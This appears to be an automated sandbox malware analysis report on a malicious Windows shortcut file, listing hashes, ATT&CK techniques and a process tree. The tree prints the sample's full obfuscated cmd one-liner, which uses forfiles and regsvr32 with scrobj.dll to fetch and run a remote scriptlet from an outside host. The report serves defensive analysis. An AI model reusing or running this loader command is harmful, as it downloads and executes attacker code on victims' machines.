3834120f0112107f5657b400fc2a9ce4298726b08eab05a5f3a900e7dace5711

General

Target
YOPIC-IKORIYI-MUNIR.lnk
Size 8KB
Sample260731-el5msacd43
SHA256 3834120f0112107f5657b400fc2a9ce4298726b08eab05a5f3a900e7dace5711
MD5 159ebbabdb29236c5102e2bc72461d05
SHA1 b311078f65e389cb1b20d38db9931562c5a325e4
SHA512 0ef11ea4b1d1e6ecf60785bdfcb7ca5d0fd8f9994323026881165785d794f04570361464fbaf97700a798cfa58c03bcd618c7746c2e8f98b50b16529dc6796c6
SSDEEP 96:8RYk6xBXdwFZc+oebfTY48tJd5x1hHjnnet0B5mdg3MT/KZlnFWZy7uNV++ih:8RYkCb6tbfTijdN1q0v2Tib4v+
TLSH
T1FB023B3424FE2119D173FABB4BDEA9BBDF76B7212236243E20A143479611D01EE52379
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
5844	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3340	cmd.exe
3408	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 3408	3340	cmd.exe	90
PID 3408 wrote to memory of 5844	3408	cmd.exe	91
PID 5844 wrote to memory of 4720	5844	forfiles.exe	92
PID 4720 wrote to memory of 5580	4720	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\YOPIC-IKORIYI-MUNIR.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /YCASKTFRAZJO:XNOVQ8VC2F1XPJF42J24PK /MTDHAGYVUKPRZSRQK:4FGF6ZX8XHVRA5IB /LBBHNMEHISHMUX:L4XAJJ8KTE /MKNOWOZXKDIWMC:PGZNM2ZCIV1K /FOWKIQHRHKZOEFWWMFI:489RZ7IS3W0KTK /LLPDMRTVXLVXB:JCWHFCUM0M06MGY5PJDEE62Q /DZEJXKUZAW:8MXUT8JS9I /YOISBRIRGMMKVFSICRU:I92BKH1FB44JXODICZRDZV /MNPPQFNGJDUCX:JI2YL0N2AMGAVL6OA /NDRDREEKWB:LIQTEZ7EB84 /YRVURVOZVUQJ:1LS7QTEQNYR9ZP9RY /FMCFLOGXUY:TJSS75WOZCK8 /LNNVYACHNAKLBXVQVPRCDFYZ:7Z52DHM0WQPXL58 /DECZDWLPENISILC:C2HUVLDMSZHXJ2D /DJBPPXGFJERBMPKRENPRVPAWS:CBGE28X213 /LOABVHEVDKXSUWQBBK:MINIFG9WA6QH4OWQRVZ /SKSUQTRPLIGITJNCZKAQ:52CNCEJWBV6R /BQJMUBWAZFUVYQNW:CQ0XSK2J2N /NBGOKMLRGTHXZGPVHAOOHCMO:2HM0UZIZ1L8 /PQBBQGTDESEH:4143KKJ0P1DQYNQBNU8 /PWHDSUOLONFXPMP:PZMZMSY073B1NS26 /TTHPHGINLWNEEDSEPMQ:2XEVVBAHZP7F3QMMKO7NMLV /JSHZZTOMQICRRBZOCKJXXTC:ABXGEKXZZMX7HMMZ2LXBR /OMHMAIADNWIEWFKBWIZRDQFGS:1504XKVMLE /TRHJOILFQNG:J5YLFMH1ATCVRBP50CPO14 /SCVNIOCKYBLZFJ:IV8OKZYYGDGAEKRPM2974Z /MORTULAOPQ:C1WZZ59WA8CV1Q3GJW1IVT /YHSSJHYSNFJTOIJEWWA:WFRTSWDRCACOB0TSFQ /BONVGMXNLHEUBMC:2250JT3XFSWWXFHQPX6OHFFH /DDERVLOHUE:Y1JEDBRH853I2 /UMZTDDZZAN:61RTYTGM4JVK59E5MEO1H /AWCJPDOJTMXO:J9G1R9UJYPTME6 /LMNKGMDHMUKPFGGTMQ:AE5BN0EE20RJ4AQ4CLR0APUI /NNSHIKRALM:K5VS12KA1YWOFI9L /GNXHTFWSWDAXPSHE:8O6JXKTCH37JRP6ODYGW3WV /ACZKGLUICPY:G0430XLSFUJJMESQ8JOD5DA4 /WFZSLKPSSM:HL7RDX4TX23OK8K1X5GJSQL /QCBQWNRGVJBBMUXTZUOQCDKKQ:GAZTJSNQDKQJJEA7HI9LI /WZGUIGLAMRMLZMDQHGWQX:YXV4IENGFY0FHQ /GKBMODXFJNHDQAQ:1DIFVXRNZFIY5338AZAT /VQRCFQPJOXX:INATGYMTMRWV2AIJME7JVC0P /LUKYDSRYUGZORFBMYZ:J4AULE1CX03NIDU /TQKVQOJBUFHDEDTJIQFT:2V4EUZWLY9WWBFCVZMYFO7MJW /TEIVSNSYJTTZSPSR:O897D7YZMVN8J3R924 /TRHFZPIZBONFZHCIE:JOTTV6V1SU555F /SVRPUALQJFYFEXOHKFUY:8367HGSB4OHTKFIX6HBZT /VRSWKEKGECKMXLXFZFIPYVN:FNW4O1R1UIIBMVNVD2N9DPS /LIGBNHCKNBSIGBSOKCB:ETI5MXAJ2U9I /HIDYCRWJBKKKTVAGYSJFFZJT:9UGR9PDLJWNQFDOF9EYVYI942 /DZBLJRVGJH:M2230B9OMA21INVZ1RFIWG3N /GENYKGQKPGDTNB:Q6741MR7N909WZC2T /ONMSJQFABMWXMXMSYL:196WDH7BUVX /UTLDXRPAWUQWQ:78QF4CN9DYI4 /SBCGXSRGHQRFZMXKHKIPPQNP:DOXVCFAP3O06GLNCWN8 /WERBWSVXWSOZAXVUYUUI:TSH8OL7WN3QYE0J /THVQFRUMOLFTGHRVAXAYF:V7CNCRYRWKXXNLVDWJ /TJVKQTGIFQP:4YS03JWI2LGWVEO5PSUMC /QIINGODJLKQAJWHNG:M3ZHN2F95E /IEOYNVKKDSSPOAYBDGLETSGB:L22PDHBZUIZKB /IIRUYBANAEEWPL:3UXLF9D0722K22XCD5RO0TL /NDCSBSWFDLRNLWINRPK:GD8H5HS9F92C /IWKVNBZYSCHIQWBLLMFOVQRB:INW3Q9EVWK129GVJWL3RZ2D /IEOBOLVDXKUFPAUVCQUVD:BM0QRV3TDY5GY7XD3YAM /SPWPXKMEAWDXFIA:GVTR8NW8MSU /TUKSWWCNSO:X6D4K9EHT8TUIAJ7DX /IYRFAOXLKBSUZTJKFR:LH6VBWBD0EZYQ /QRUJJGCLRXRDEQVUTPUFTDBTI:CYF6XODURB5B2K8 /ZHBQMZUNLNAOAEHT:3MLEA145WFBW1D106UXUU /HHYSREZDOGKTWFXYUDZ:5GV910URX5 /HRRDMTDBYYHNORNZUIPQMC:Z62ZWFB2FGKSU8OD /GDRLXLYAYJKVDBTCLCGMTRRP:0KXHM71TZXIFJG17IXLN /PQMUBEYABOPOWFNUVVF:CP3FBAJCIUPX2ABET37OX16FA /BUZSDBIWUIOXLT:H266U6TBV71IIBL5TO18652O /EKGGKUYSUM:D4PLKVT0CI81YSLHONV3KATD7 /HAVOKLUMZVN:DCFTQ0GE2K4Z5XUHXV0PVSIBL /MMJNJHBWHWJNEJFFYJOYTVW:LLAT4CYN216CYRSYIBCKHEGMW /XGUUHHAZUZD:26S6MS38VJBZDWWF3NJBFTJ9 /LTLEGAPYDWUTZFCUPE:E8D6KOZ995S8XLS /FJIJRDXTIYBJDJBBJ:9R2N5HS8QZM4MMZJCYMCSW /TGNLJFLFOCVJEBBRHUHEIIHHB:FFU58THB28ZDO24GXW /SQYVRUALXMVSXQ:98C9P0HORA962PVQIWRKL5 /OBSXSRLDPPWYJQIBASP:DMUOMG8G5UZ7RE /D/C "foR %c in (f2eauijl) do foR %k in (regsvr) Do FoR %h in (00rqh4qhuj) dO FOr %w in (3) DO fOr %t in (2) do For %o in (forfile) dO fOR %y in (s) dO for %u in (Sy) do for %r in (stem32) Do for %x in (qs8g7a2d) Do for %v in (C:\Windows) Do fOr %e in (4fcr0369vb) Do %o%y /p %v\%u%r /m scrob?.dll /c "cmd /c %APPDATA:~0,1%:\W^i^nd^o^ws\%u%r\%k%w%t.exe -s -n -u -i:ht^tps://jul^io^piresrodri^gues.e^ssenciadoriente.website/erv^femcrjw^tlci/^24343^0755192/ @path""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\forfiles.exe
    forfiles /p C:\Windows\System32 /m scrob?.dll /c "cmd /c C:\W^i^nd^o^ws\System32\regsvr32.exe -s -n -u -i:ht^tps://jul^io^piresrodri^gues.e^ssenciadoriente.website/erv^femcrjw^tlci/^24343^0755192/ @path"
    3⤵
    - Indirect Command Execution
    - Suspicious use of WriteProcessMemory
    PID:5844
  - - C:\Windows\system32\cmd.exe
      /c C:\W^i^nd^o^ws\System32\regsvr32.exe -s -n -u -i:ht^tps://jul^io^piresrodri^gues.e^ssenciadoriente.website/erv^femcrjw^tlci/^24343^0755192/ "C:\Windows\System32\scrobj.dll"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4720
    - - C:\Windows\System32\regsvr32.exe
        
        C:\Windows\System32\regsvr32.exe -s -n -u -i:https://juliopiresrodrigues.essenciadoriente.website/ervfemcrjwtlci/243430755192/ "C:\Windows\System32\scrobj.dll"
        5⤵
        
        PID:5580